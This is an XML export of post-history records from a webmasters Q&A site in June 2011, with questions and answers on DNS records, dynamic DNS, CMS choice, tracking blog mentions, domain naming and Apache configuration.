  <row Id="34850" PostHistoryTypeId="2" PostId="14827" RevisionGUID="1bdb862c-5be5-4701-a3e7-e96d1465fcde" CreationDate="2011-06-04T22:21:14.753" UserId="7198" Text="Point the domain's [MX records][1] to the GoDaddy server.  &#xD;&#xA;Point the domain's [A][2] or [CNAME][3] records to the server hosting the website.&#xD;&#xA;&#xD;&#xA;To [find the MX records](http://community.godaddy.com/help/article/2570?locale=en&amp;sid=833719&amp;sp=1) for a GoDaddy email account:&#xD;&#xA;&#xD;&#xA;1. Log in to your [Account Manager.](http://mya.godaddy.com/default.aspx?prog_id=GoDaddy)&#xD;&#xA;2. From the My Products section, click Email.&#xD;&#xA;3. Click Manage Account next to any email account.&#xD;&#xA;4. Go to the Domains tab, and then click Server Addresses.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://help.godaddy.com/article/680#mxrecs&#xD;&#xA;  [2]: http://help.godaddy.com/article/680#arecs&#xD;&#xA;  [3]: http://help.godaddy.com/article/680#cnames&#xD;&#xA;&#xD;&#xA;Instructions to change MX, A, and CNAME records for a domain purchased from GoDaddy:&#xD;&#xA;http://help.godaddy.com/article/680&#xD;&#xA;" />
  <row Id="34851" PostHistoryTypeId="25" PostId="14736" RevisionGUID="3eef16ab-02b9-4104-a8ae-86987806d644" CreationDate="2011-06-05T00:13:43.707" Comment="http://twitter.com/#!/StackWebmasters/status/77166169425063936" />
  <row Id="34852" PostHistoryTypeId="2" PostId="14828" RevisionGUID="f599cafd-bca7-4b76-ac1b-7ae465a17ea0" CreationDate="2011-06-05T00:33:43.803" UserId="8042" Text="I write a blog. I'm not really interested in search-engine optimization or social media marketing, but I am curious when people link, read and comment about things I write away from my blog itself. I want an easy way of finding these things. I don't care about auto-submitting to sites, or anything like that. I also don't care about any statistics: I just want to know where the action is!&#xD;&#xA;&#xD;&#xA;For example, right now, I have cobbled together RSS feeds including:&#xD;&#xA;&#xD;&#xA;* Twitter searches for my blog's name&#xD;&#xA;* Reddit aggregate for any link to my domain&#xD;&#xA;&#xD;&#xA;But, for example, I always miss whenever my blog is posted to Hacker News, which is no fun since Hacker News discussions tend to be quite good. And, of course, I want to find out about discussions in places that I’ve never even heard of before. (I just signed up for Google Alerts, maybe that will help, maybe not. Google doesn't seem to be particularly realtime.)&#xD;&#xA;&#xD;&#xA;It seems to me there ought to be free services that do this sort of thing. But &quot;social analytics&quot; seems to be the wrong word, since that implies aggregation and data, and that's not really what I want. What am I looking for?" />
  <row Id="34853" PostHistoryTypeId="1" PostId="14828" RevisionGUID="f599cafd-bca7-4b76-ac1b-7ae465a17ea0" CreationDate="2011-06-05T00:33:43.803" UserId="8042" Text="Looking for the name of something (social analytics, maybe?)" />
  <row Id="34854" PostHistoryTypeId="3" PostId="14828" RevisionGUID="f599cafd-bca7-4b76-ac1b-7ae465a17ea0" CreationDate="2011-06-05T00:33:43.803" UserId="8042" Text="&lt;social-media&gt;" />
  <row Id="34855" PostHistoryTypeId="17" PostId="14829" RevisionGUID="64a007a3-835c-495e-aa8b-04e41f74a436" CreationDate="2011-06-05T00:50:32.393" UserId="-1" Comment="from http://stackoverflow.com/questions/6237488/class-c-ip-forwarding" Text="" />
  <row Id="34856" PostHistoryTypeId="17" PostId="14830" RevisionGUID="57e28b8c-a300-4bd1-a3b7-8ce2596025de" CreationDate="2011-06-05T00:50:32.393" UserId="-1" Comment="from http://stackoverflow.com/questions/6237488/class-c-ip-forwarding" Text="" />
  <row Id="34857" PostHistoryTypeId="17" PostId="14831" RevisionGUID="a08f7e78-e5e6-4f5e-bf2d-1ff040c33449" CreationDate="2011-06-05T00:50:32.393" UserId="-1" Comment="from http://stackoverflow.com/questions/6237488/class-c-ip-forwarding" Text="" />
  <row Id="34858" PostHistoryTypeId="2" PostId="14830" RevisionGUID="86a0fea4-b35f-421d-84d0-87d6094e48ab" CreationDate="2011-06-04T15:11:02.810" UserDisplayName="Jim Lewis" Text="You can set up a [reverse proxy][1] in the UK that, behind the scenes, pulls data from the US server and returns it to the client.  Google would see this as a UK site, and score it accordingly.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Reverse_proxy" />
  <row Id="34859" PostHistoryTypeId="2" PostId="14831" RevisionGUID="da726764-1876-4e44-b26b-fb40562c5856" CreationDate="2011-06-04T15:16:54.327" UserDisplayName="spong" Text="You could use the google webmaster tools to geotarget your web site.  See [here][1] for details.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/support/webmasters/bin/answer.py?answer=62399&amp;hl=en" />
  <row Id="34860" PostHistoryTypeId="2" PostId="14829" RevisionGUID="df45f05d-9353-40d0-a833-566c233c5f18" CreationDate="2011-06-04T15:06:08.937" UserDisplayName="Thomas Greene" Text="I'm not even sure how to correctly phrase this question so please bear with me as I try to explain what we want to do. And Thank You for taking the time to help me...&#xD;&#xA;&#xD;&#xA;We have products that appeal to an international audience. However with some search engines they factor in what class C/location your domain is sitting on for their serp results.&#xD;&#xA;&#xD;&#xA;The problem is we're very familiar with RackSpace cloud servers and their systems. If I had a domain I wanted to appear that it was sitting on a class C in the U.K. but I wanted the actual web server to be in the US (Dallas TX) is there some sort of trick/hack I can use to do so. Something like registering the domain, pointing the DNS to a UK web host and then pulling the files from my US cloud server WITHOUT a search engine (say Google) being able to tell where the site was actually located? I hate to have to jump through hoops like this and feel kinda sneaky doing so but Google certainly factors in IP location into their serps." />
  <row Id="34861" PostHistoryTypeId="1" PostId="14829" RevisionGUID="df45f05d-9353-40d0-a833-566c233c5f18" CreationDate="2011-06-04T15:06:08.937" UserDisplayName="Thomas Greene" Text="Class C IP Forwarding???" />
  <row Id="34862" PostHistoryTypeId="3" PostId="14829" RevisionGUID="df45f05d-9353-40d0-a833-566c233c5f18" CreationDate="2011-06-04T15:06:08.937" UserDisplayName="Thomas Greene" Text="&lt;linux&gt;&lt;web-hosting&gt;&lt;cloud&gt;&lt;ip&gt;" />
  <row Id="34863" PostHistoryTypeId="17" PostId="14832" RevisionGUID="d84f88a8-2cd8-4d97-bc69-e07ad321a950" CreationDate="2011-06-05T00:56:07.630" UserId="-1" Comment="from http://serverfault.com/questions/277058/how-to-map-url-to-ip" Text="" />
  <row Id="34864" PostHistoryTypeId="2" PostId="14832" RevisionGUID="56d3ac20-0bcd-4588-8471-37f53e7004dc" CreationDate="2011-06-05T00:31:59.517" UserId="2969" Text="I'm completely ignorant when it comes to hosting.&#xD;&#xA;&#xD;&#xA;Suppose I have a web application up and running on IIS 6.0 locally, and then I publish it (somehow?)&#xD;&#xA;&#xD;&#xA;I assume the site will be accessible from http://XXX.XXX.XXX.X/, but what if I want a domain name to point at it? Can I do it on my own, dedicated server, or have I absolutely must go to a third party?&#xD;&#xA;&#xD;&#xA;I believe I need a DNS, but can I set one up for free somehow?" />
  <row Id="34865" PostHistoryTypeId="1" PostId="14832" RevisionGUID="56d3ac20-0bcd-4588-8471-37f53e7004dc" CreationDate="2011-06-05T00:31:59.517" UserId="2969" Text="How to map URL to IP?" />
  <row Id="34866" PostHistoryTypeId="3" PostId="14832" RevisionGUID="56d3ac20-0bcd-4588-8471-37f53e7004dc" CreationDate="2011-06-05T00:31:59.517" UserId="2969" Text="&lt;dns&gt;&lt;iis&gt;&lt;web-hosting&gt;" />
  <row Id="34867" PostHistoryTypeId="2" PostId="14833" RevisionGUID="48ff0aeb-bafc-4afe-830c-8a5dc5eb007c" CreationDate="2011-06-05T01:03:11.550" UserId="1253" Text="[Google alerts](http://www.google.com/alerts) will tell you whenever Google finds and indexes pages that meet criteria set forth by you. In other words you can have Google email you whenever they find a page that mentions your website." />
  <row Id="34868" PostHistoryTypeId="2" PostId="14834" RevisionGUID="79634f66-dfa4-43b1-838e-22169559033d" CreationDate="2011-06-05T01:10:44.207" UserId="1253" Text="You need to use a service like [Zoneedit](http://zoneedit.com/) which not only provides DNS services but can handle dynamic IP addresses like you probably have if you're hosting your own server locally. " />
  <row Id="34869" PostHistoryTypeId="2" PostId="14835" RevisionGUID="6e39c707-e178-4a28-ab56-934ce5a074d5" CreationDate="2011-06-05T01:10:54.860" UserId="7988" Text="First you must register your domainname with a suitable registrar.&#xD;&#xA;&#xD;&#xA;As part of this the IP addresses of 2 computers that will serve as &quot;DNS servers&quot; are required. Many registrars provide these servers as part of the service.&#xD;&#xA;&#xD;&#xA;Next the &quot;DNS zone files&quot; on those &quot;DNS Servers&quot; need to be updated to include a reference that basically says &quot;www.mydomain.com is at IP address 123.321.123.321&quot;&#xD;&#xA;Again most registrars provide an easy way to do this.&#xD;&#xA;&#xD;&#xA;The computer with IP address 123.321.123.321 must be on the internet and running a web server that can respond to requests.&#xD;&#xA;&#xD;&#xA;Then when someone types in www.mydomain.com, their local DNS system looks up the zone file (or a locally cached copy their ISP has) and this tells them the 123.321.123.321 IP address. The web browser then sends a &quot;give me this web page&quot; message directly to that IP address. Which then sends them back the web page.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34870" PostHistoryTypeId="2" PostId="14836" RevisionGUID="673e96a9-06e9-47db-8739-dd0478eb3248" CreationDate="2011-06-05T01:52:28.070" UserId="8044" Text="Consider what your are trying to do. Nearly all VCS systems will&#xD;&#xA;&#xD;&#xA; 1. Keep your code base in a remote place.&#xD;&#xA; 2. Split off code to work on.&#xD;&#xA; 3. Track changes as you make them.&#xD;&#xA; 4. Commit changes as you work.&#xD;&#xA; 5. Merge your modified code back into the base in an orderly manner.&#xD;&#xA;&#xD;&#xA;It also matters whether you are working alone or with a team. If you are part of a team, the system has to work for them as well as for you.&#xD;&#xA;&#xD;&#xA;Personally, I'm using subversion, but would like to move to Git. Git seems to offer finer grained control of forking code, making commits as you work, and merging it all back together. &#xD;&#xA;&#xD;&#xA;I'm not an expert by any means, so it seems to me that the most important thing you could do is to try out a few: Git, SVN, Mercurial, maybe others. See how well they fit with your work pattern. If they don't make it easy to fork, modify, and commit, then you won't use the tool, regardless of what others say of it. You can try these things out for free on a local basis. Only you can tell if you like it enough to actually use the system." />
  <row Id="34871" PostHistoryTypeId="2" PostId="14837" RevisionGUID="ffd4db1d-273f-4c9f-a2dc-a88c9b289258" CreationDate="2011-06-05T03:02:47.837" UserId="8045" Text="I do exactly what you're trying to do at home.  &#xD;&#xA;&#xD;&#xA;http://www.dyndns.com/services/dns/dyndns/&#xD;&#xA;&#xD;&#xA;Sign up for Free DNS Service.  Pick a free domain/hostname (ie helloworld.gotdns.org).  Finally install the DNS client tool on your server.  This will make sure your dynamic IP address is constantly updated on DynDNS's website so when you hit helloworld.gotdns.org it will always point to your box.&#xD;&#xA;&#xD;&#xA;Now you can have your friends connect to your game server simply by going to http://helloworld.gotdns.org&#xD;&#xA;&#xD;&#xA;Hope that made sense. :)&#xD;&#xA;&#xD;&#xA;Michael" />
  <row Id="34872" PostHistoryTypeId="25" PostId="14832" RevisionGUID="2b481f7d-1d7c-427b-b54c-6484e4b169e5" CreationDate="2011-06-05T03:13:44.507" Comment="http://twitter.com/#!/StackWebmasters/status/77211472807206912" />
  <row Id="34873" PostHistoryTypeId="2" PostId="14838" RevisionGUID="37de7e6f-6935-47bb-ab50-89d28a0fe1ca" CreationDate="2011-06-05T04:19:19.353" UserId="5809" Text="I have a dilemma (don't we all haha).  I run a hiking website and have many pages about parks.&#xD;&#xA;&#xD;&#xA;Some park pages have lots of content and some are stubs.  People do land on them from search but kind of don't convert.&#xD;&#xA;&#xD;&#xA;Ideally, people would do any of the 4 bullet points here:&#xD;&#xA;1) Help write content about that park&#xD;&#xA;2) Register as members of the site&#xD;&#xA;3) Start hikes or hiking groups in their area&#xD;&#xA;4) Click on an ad &#xD;&#xA;&#xD;&#xA;Item 4 is happening a little bit, but the parks page is terrible at items 1-3&#xD;&#xA;&#xD;&#xA;Here is an example of a page where there is a lot of content:&#xD;&#xA;&#xD;&#xA;http://www.comehike.com/outdoors/parks/park.php?park_id=15&#xD;&#xA;&#xD;&#xA;And here is an example of a page that is mostly stub information:&#xD;&#xA;&#xD;&#xA;http://www.comehike.com/outdoors/parks/park.php?park_id=1055&#xD;&#xA;&#xD;&#xA;Any advice would be greatly appreciated.  " />
  <row Id="34874" PostHistoryTypeId="1" PostId="14838" RevisionGUID="37de7e6f-6935-47bb-ab50-89d28a0fe1ca" CreationDate="2011-06-05T04:19:19.353" UserId="5809" Text="Please give me advice on how to increase conversion and improve design of this page" />
  <row Id="34875" PostHistoryTypeId="3" PostId="14838" RevisionGUID="37de7e6f-6935-47bb-ab50-89d28a0fe1ca" CreationDate="2011-06-05T04:19:19.353" UserId="5809" Text="&lt;website-design&gt;&lt;websites&gt;&lt;content&gt;&lt;design&gt;&lt;ux&gt;" />
  <row Id="34876" PostHistoryTypeId="10" PostId="14838" RevisionGUID="38b0bccd-672e-4076-a3a8-5fb1dcae328a" CreationDate="2011-06-05T04:38:29.220" UserId="1253" CloseReasonId="7" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="34877" PostHistoryTypeId="25" PostId="14828" RevisionGUID="6b266dfd-f545-4df0-b881-3939f1b0c6e1" CreationDate="2011-06-05T06:13:45.540" Comment="http://twitter.com/#!/StackWebmasters/status/77256774977204224" />
  <row Id="34885" PostHistoryTypeId="2" PostId="14841" RevisionGUID="d6b52918-e9d8-409d-b668-ee2ea24ef0e6" CreationDate="2011-06-05T09:15:30.053" UserId="2490" Text="[Arvixe][1] is a good choice. Good service, not expensive. I use them for my wordpress blog.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arvixe.com/1042-2.html" />
  <row Id="34886" PostHistoryTypeId="2" PostId="14842" RevisionGUID="b2e6984d-7769-481a-a455-df46cd716e4d" CreationDate="2011-06-05T10:25:07.540" UserId="8051" Text="I own the domain **zenstealth.com** and I have decided that the easiest way for me to &quot;do&quot; a blog is via GitHub pages and Jekyll, which is already built-in in GitHub pages. I've done that already, and for now I've already setup a CNAME record so that my GitHub pages repo **zenstealth.github.com** redirects to **blog.zenstealth.com**.&#xD;&#xA;&#xD;&#xA;What I want to do is instead of using a sub-domain for the blog, I'd like to make it use the top level domain **zenstealth.com**. The GitHub Pages instructions say to the set an A record to the ip *207.97.227.245*. The problem in NearlyFreeSpeech.NET (let's call it NFSN for short) is that it already already sets A records to files which are hosted directly in NFSN, and I have absolutely no idea on how to override this. " />
  <row Id="34887" PostHistoryTypeId="1" PostId="14842" RevisionGUID="b2e6984d-7769-481a-a455-df46cd716e4d" CreationDate="2011-06-05T10:25:07.540" UserId="8051" Text="How to setup up A record for GitHub pages for NearlyFreeSpeech.net" />
  <row Id="34888" PostHistoryTypeId="3" PostId="14842" RevisionGUID="b2e6984d-7769-481a-a455-df46cd716e4d" CreationDate="2011-06-05T10:25:07.540" UserId="8051" Text="&lt;dns&gt;" />
  <row Id="34889" PostHistoryTypeId="2" PostId="14843" RevisionGUID="ef0e6a29-0694-4d40-9e7c-3cdcb11a3601" CreationDate="2011-06-05T10:28:05.900" UserId="7198" Text="If they designed it:&#xD;&#xA;&#xD;&#xA; - Bounce rate&#xD;&#xA; - Visit duration&#xD;&#xA; - Conversion rate&#xD;&#xA;&#xD;&#xA;If they coded it:&#xD;&#xA;&#xD;&#xA; - Page load time&#xD;&#xA; - Code validity (via validator tools)&#xD;&#xA; - Page accessibility (via audit)&#xD;&#xA;&#xD;&#xA;If they manage it:&#xD;&#xA;&#xD;&#xA; - Uptime (measure with [Pingdom](http://pingdom.com) or similar)&#xD;&#xA; - Server load&#xD;&#xA; - Worldwide response times&#xD;&#xA; - Time taken to resolve tickets&#xD;&#xA; - Time taken to restore from backup&#xD;&#xA; - Critical errors (via server logs)&#xD;&#xA;&#xD;&#xA;If they promote it:&#xD;&#xA;&#xD;&#xA; - Unique visits&#xD;&#xA; - Repeat visits&#xD;&#xA; - Size of email lists&#xD;&#xA; - Size of RSS subscriber lists&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If they write the content:&#xD;&#xA;&#xD;&#xA; - Number of social 'shares'&#xD;&#xA; - Number of inbound links&#xD;&#xA; - Page views&#xD;&#xA;&#xD;&#xA;If it's a web app or paid service:&#xD;&#xA;&#xD;&#xA; - Churn rate&#xD;&#xA; - Cost of acquisition&#xD;&#xA; - Average income per customer&#xD;&#xA; - Turnover&#xD;&#xA;" />
  <row Id="34891" PostHistoryTypeId="2" PostId="14844" RevisionGUID="e7909338-b23f-4f42-95a7-3d4c954ce443" CreationDate="2011-06-05T11:10:39.320" UserId="2044" Text="I have a VPS account from knownhost. I have clients who have their website hosting on my server.&#xD;&#xA;&#xD;&#xA;Some have subscribed 50MB, 100MB, 500MB or 1 GB as per their requirement. They are also allowed to create email address in their accounts but the email address's capacity will be shared with web site's space.&#xD;&#xA;&#xD;&#xA;Now I would like to separate that web hosting space and email account's space.&#xD;&#xA;&#xD;&#xA;So What is it called and from where can i start?" />
  <row Id="34892" PostHistoryTypeId="1" PostId="14844" RevisionGUID="e7909338-b23f-4f42-95a7-3d4c954ce443" CreationDate="2011-06-05T11:10:39.320" UserId="2044" Text="How do i Seperate WebHosting Space and Email Hosting Space" />
  <row Id="34893" PostHistoryTypeId="3" PostId="14844" RevisionGUID="e7909338-b23f-4f42-95a7-3d4c954ce443" CreationDate="2011-06-05T11:10:39.320" UserId="2044" Text="&lt;web-hosting&gt;&lt;vps&gt;" />
  <row Id="34894" PostHistoryTypeId="25" PostId="14844" RevisionGUID="b2638e9f-ae55-4ca3-92d7-05116e017c44" CreationDate="2011-06-05T12:13:45.370" Comment="http://twitter.com/#!/StackWebmasters/status/77347372077826049" />
  <row Id="34896" PostHistoryTypeId="5" PostId="9880" RevisionGUID="96b9ca17-64c8-4bdd-87eb-b655b7a4b4bf" CreationDate="2011-06-05T13:58:58.287" UserId="1253" Comment="modified tags, minor text edits" Text="I'm looking for a windows web hosting reseller provider with the following requirements:&#xD;&#xA;&#xD;&#xA; - Plesk control panel (for reseller and customers)&#xD;&#xA; - Support for Magento, Joomla, and Wordpress&#xD;&#xA; - A decent reputuation&#xD;&#xA;&#xD;&#xA;I'd prefer to not go the VPS route because I do not want to support the server.&#xD;&#xA;" />
  <row Id="34897" PostHistoryTypeId="6" PostId="9880" RevisionGUID="96b9ca17-64c8-4bdd-87eb-b655b7a4b4bf" CreationDate="2011-06-05T13:58:58.287" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;web-hosting&gt;&lt;looking-for-hosting&gt;&lt;reseller&gt;" />
  <row Id="34898" PostHistoryTypeId="2" PostId="14845" RevisionGUID="02b7b990-cbed-416a-9bdb-a356b4a64bf4" CreationDate="2011-06-05T14:44:34.043" UserId="7899" Text="Instead of jumping right into a hosting account, it might be better for you to start out with a local development environment using a WAMP package.&#xD;&#xA;&#xD;&#xA;WAMP is an acronym for Windows + Apache (web server) + MySQL (database) + PHP (scripting language).&#xD;&#xA;&#xD;&#xA;It will give you the experience needed that you can then (in a month or two) use to help you with setting up and running websites under a hosting account.&#xD;&#xA;&#xD;&#xA;There is [WampDeveloper Pro](http://www.devside.net/server/webdeveloper) which I use (not free). Then there is [Xampp](http://www.apachefriends.org/en/xampp-windows.html). And also WampServer. See which one fits your needs.&#xD;&#xA;&#xD;&#xA;&gt; Would you recommend atriya-sen.com? atriya_sen.com? Finally, what about other TLDs like .name?&#xD;&#xA;&#xD;&#xA;Try not to use hyphens. They tend to look amateurish, old (circa 1993), and are used mostly by keyword stuffing spam domains.&#xD;&#xA;&#xD;&#xA;Underscores (_) are not allowed in domain names (though there is some confusion about host names).&#xD;&#xA;&#xD;&#xA;Stick with .com. It is expected by visitors." />
  <row Id="34899" PostHistoryTypeId="25" PostId="14842" RevisionGUID="fa41773e-f410-47d8-93f3-1159c8f3e56d" CreationDate="2011-06-05T15:13:46.530" Comment="http://twitter.com/#!/StackWebmasters/status/77392674071650305" />
  <row Id="34900" PostHistoryTypeId="17" PostId="14846" RevisionGUID="69ad030b-7e9c-4edd-ae31-dbe8e9055c56" CreationDate="2011-06-05T15:14:07.487" UserId="-1" Comment="from http://askubuntu.com/questions/47073/how-to-build-a-site-that-i-can-make-regular-updates-with-a-user-friendly-gui" Text="" />
  <row Id="34901" PostHistoryTypeId="2" PostId="14846" RevisionGUID="818dd120-f76a-4f01-9a41-7829f900e677" CreationDate="2011-06-05T13:35:25.160" UserDisplayName="nitstorm" Text="I need to build a site for my church with the following functionalities:&#xD;&#xA;&#xD;&#xA; - The main page listing all the updates from other pages if some content is added&#xD;&#xA; - Different content types on different pages that get updated very regularly - like podcasts, event schedules and stuff like that&#xD;&#xA;&#xD;&#xA;Now the real catch is that I'd like a nice GUI front-end that allows the user to add new content like new event schedules, videos, podcasts, pics and announcements and other such stuff.&#xD;&#xA;&#xD;&#xA;Is CMS the only way to go? If so can I customize my content that I want the CMS to manage? Like can I write my own webpages or does it have to be the CMS' themes? Also if this is the only way, which CMS should I choose that'll be easy to use - Wordpress, Joomla or Drupal or something else that you think is good? I have zero experience with CMS except that I use a free Wordpress account and use the Web UI to make posts." />
  <row Id="34902" PostHistoryTypeId="1" PostId="14846" RevisionGUID="818dd120-f76a-4f01-9a41-7829f900e677" CreationDate="2011-06-05T13:35:25.160" UserDisplayName="nitstorm" Text="How to build a site that I can make regular updates with a user-friendly GUI" />
  <row Id="34903" PostHistoryTypeId="3" PostId="14846" RevisionGUID="818dd120-f76a-4f01-9a41-7829f900e677" CreationDate="2011-06-05T13:35:25.160" UserDisplayName="nitstorm" Text="&lt;websites&gt;&lt;web-design&gt;" />
  <row Id="34904" PostHistoryTypeId="2" PostId="14847" RevisionGUID="fedc0f6b-b749-4013-8383-3f9fcdaf8356" CreationDate="2011-06-05T15:18:07.593" UserId="1253" Text="If you have zero experience with CMSes and/or are not an experienced programmer then I highly recommend using [Wordpress][1] as your CMS. Wordpress is very capable as a CMS, is very easy to use, and you're already familiar with is as there is very little difference between the hosted version and the self-hosted version.&#xD;&#xA;&#xD;&#xA;You can also choose from a [plethora of free themes][2] that make customizing it very easy to do.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org&#xD;&#xA;  [2]: http://wordpress.org/extend/themes/" />
  <row Id="34905" PostHistoryTypeId="2" PostId="14848" RevisionGUID="3051b70c-6d49-4f0c-b15a-f234d6ce57db" CreationDate="2011-06-05T16:55:33.050" UserId="8055" Text="Using the tools by themselves won't get you banned.But how you use them matter. According to big G, any traffic appears not natural is considered &quot;traffic manipulation&quot;. If use these tools to traffic your backlinks, organize your posts, manage your accounts,  you are OK. If you blast &quot;junk&quot; using these tools, the end result is probably either getting your site sand-boxed, banned or your posts simply get ignored by the search engines and will not get indexed at all. &#xD;&#xA;" />
  <row Id="34907" PostHistoryTypeId="2" PostId="14850" RevisionGUID="4dcff43a-a691-4864-b9d8-476ac26881e4" CreationDate="2011-06-05T17:09:05.737" UserId="8146" Text="HI guys,&#xD;&#xA;&#xD;&#xA;I have 2 domains and want to start a hardware related website, but I want to make sure which one is the correct term in English:&#xD;&#xA;&#xD;&#xA;1- Hardwareden.com&#xD;&#xA;2- HardwaresDen.com&#xD;&#xA;&#xD;&#xA;plesae note the &quot;S&quot;!&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="34908" PostHistoryTypeId="1" PostId="14850" RevisionGUID="4dcff43a-a691-4864-b9d8-476ac26881e4" CreationDate="2011-06-05T17:09:05.737" UserId="8146" Text="Domain name, which one is more appropriate?" />
  <row Id="34909" PostHistoryTypeId="3" PostId="14850" RevisionGUID="4dcff43a-a691-4864-b9d8-476ac26881e4" CreationDate="2011-06-05T17:09:05.737" UserId="8146" Text="&lt;domains&gt;&lt;name&gt;" />
  <row Id="34910" PostHistoryTypeId="2" PostId="14851" RevisionGUID="a36a664c-168b-45ae-aa8f-1e79971d870d" CreationDate="2011-06-05T18:05:34.793" UserId="8058" Text="Without the S. Hardware already refers to multiple, so there's no point in making it plural. Nobody in the United States says hardwares." />
  <row Id="34911" PostHistoryTypeId="2" PostId="14852" RevisionGUID="758e8c66-fedc-481c-8ddd-52e0798c8aa4" CreationDate="2011-06-05T18:08:45.443" UserId="4502" Text="There *are* places that do this, such as &lt;a href=&quot;http://startpr.com/&quot;&gt;StartPR&lt;/a&gt; and &lt;a href=&quot;http://www.trackur.com/&quot;&gt;Trackur&lt;/a&gt;, but they're generally not going to be free. Realistically, this sort of activity is something much more likely be undertaken by people willing to spend some money for it than casual users. You seem to be expecting real-time *and* free, and not factoring that &quot;scan the entire web&quot; (more or less) comes before that; it's just not going to happen.&#xD;&#xA;&#xD;&#xA;If you do find a completely free service, it's probably going to be pretty severely limited: compare the two above and look at how little–comparatively–their cheapest plans provide. Trackur does have a somewhat hidden free option, with even fewer features, only one topic and, notably, &quot;slower updates.&quot;&#xD;&#xA;&#xD;&#xA;It takes a lot of work to do this sort of thing: it's not just collection, but significant filtering to get you relevant results. Also a lot of access eg. to &quot;firehose&quot; data from the original sources that they may be paying for and passing on to you. This is why if you want free, you're probably going to be stuck cobbling together a bunch of feeds yourself. " />
  <row Id="34912" PostHistoryTypeId="2" PostId="14853" RevisionGUID="f98085a7-8c54-4862-8ea5-cbe6da678b5d" CreationDate="2011-06-05T18:10:17.157" UserId="8058" Text="Many blog software applications like Wordpress have support for pingbacks or linkbacks. These are handy things that notify when someone else links back to your content. Look into setting those up on your site so that you can automatically be notified when it happens.&#xD;&#xA;&#xD;&#xA;http://en.wikipedia.org/wiki/Linkback&#xD;&#xA;&#xD;&#xA;http://en.wikipedia.org/wiki/Pingback" />
  <row Id="34913" PostHistoryTypeId="25" PostId="14846" RevisionGUID="183d0676-68c9-4af7-8e93-d3692f5de5ff" CreationDate="2011-06-05T18:13:48.020" Comment="http://twitter.com/#!/StackWebmasters/status/77437978611417090" />
  <row Id="34915" PostHistoryTypeId="2" PostId="14855" RevisionGUID="cb3df897-348f-430e-930c-75a93235db4d" CreationDate="2011-06-05T18:56:00.860" UserId="4053" Text="in the google webmasters tools you can export the list of keywords, what can you do with this list?  &#xD;&#xA;&#xD;&#xA;I'm asking this in sense of could something special be done with this comma separated list?  &#xD;&#xA;Is there any good software which analyses that?  &#xD;&#xA;&#xD;&#xA;What do people do with this list?" />
  <row Id="34916" PostHistoryTypeId="1" PostId="14855" RevisionGUID="cb3df897-348f-430e-930c-75a93235db4d" CreationDate="2011-06-05T18:56:00.860" UserId="4053" Text="Webmasters Tools - What can i do with a exported keywords list?" />
  <row Id="34917" PostHistoryTypeId="3" PostId="14855" RevisionGUID="cb3df897-348f-430e-930c-75a93235db4d" CreationDate="2011-06-05T18:56:00.860" UserId="4053" Text="&lt;seo&gt;&lt;google-webmaster-tools&gt;&lt;keywords&gt;" />
  <row Id="34920" PostHistoryTypeId="2" PostId="14857" RevisionGUID="6bd70672-0806-429a-a7d6-7be0906c0981" CreationDate="2011-06-05T19:14:56.190" UserId="2406" Text="According to [Jakob Nielsen][1]'s [113 Design Guidelines for Homepage Usability][2]:&#xD;&#xA;&#xD;&#xA;&gt; **67** Use a liquid layout so the homepage size adjusts to different screen resolutions.&#xD;&#xA;&#xD;&#xA;It's also one of the [The Ten Most Violated Homepage Design Guidelines][3]:&#xD;&#xA;&#xD;&#xA;&gt; Fighting frozen layouts seems a lost&#xD;&#xA;&gt; battle, but it's worth repeating:&#xD;&#xA;&gt; different users have different monitor&#xD;&#xA;&gt; sizes. People with big monitors want&#xD;&#xA;&gt; to be able to resize their browsers to&#xD;&#xA;&gt; view multiple windows simultaneously.&#xD;&#xA;&gt; You can't assume that everyone's&#xD;&#xA;&gt; window width is 800 pixels: it's too&#xD;&#xA;&gt; much for some users and too little for&#xD;&#xA;&gt; others.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.useit.com&#xD;&#xA;  [2]: http://www.useit.com/homepageusability/guidelines.html&#xD;&#xA;  [3]: http://www.useit.com/alertbox/20031110.html" />
  <row Id="34921" PostHistoryTypeId="16" PostId="14855" RevisionGUID="134ae5be-d331-498f-8f08-dec57bdf34fd" CreationDate="2011-06-05T19:23:37.273" UserId="1064" />
  <row Id="34923" PostHistoryTypeId="2" PostId="14858" RevisionGUID="95494613-357c-4731-a34e-8af3e055fa49" CreationDate="2011-06-05T20:37:44.627" UserId="8061" Text="I have a problem on OpenSuSE 11.04. I configured apache and enabled mod_rewrite but it doesn't working. on every php file I get 403 forbidden error.&#xD;&#xA;" />
  <row Id="34924" PostHistoryTypeId="1" PostId="14858" RevisionGUID="95494613-357c-4731-a34e-8af3e055fa49" CreationDate="2011-06-05T20:37:44.627" UserId="8061" Text="Enable mod_rewrite on OpenSuSE 11.04" />
  <row Id="34925" PostHistoryTypeId="3" PostId="14858" RevisionGUID="95494613-357c-4731-a34e-8af3e055fa49" CreationDate="2011-06-05T20:37:44.627" UserId="8061" Text="&lt;apache&gt;&lt;mod-rewrite&gt;&lt;httpd.conf&gt;" />
  <row Id="34926" PostHistoryTypeId="25" PostId="14850" RevisionGUID="6ac0ec85-e95f-4428-bd4f-9ca568f4505c" CreationDate="2011-06-05T21:13:48.223" Comment="http://twitter.com/#!/StackWebmasters/status/77483279460204544" />
  <row Id="34927" PostHistoryTypeId="2" PostId="14859" RevisionGUID="fcb2dbf3-ec21-43bc-8567-1dcfdd5238f7" CreationDate="2011-06-05T22:54:47.020" UserId="8062" Text="I use the Google Adwords Editor and I have a list of all my geotargets in excel.  They are in the &quot;City, ST&quot; format like this: &#xD;&#xA;&#xD;&#xA;Tucson, AZ; San Diego, CA; San Francisco, CA; etc....  &#xD;&#xA;&#xD;&#xA;I have several hundred location targets.  Is there an easy way to copy and past them into a campaign? " />
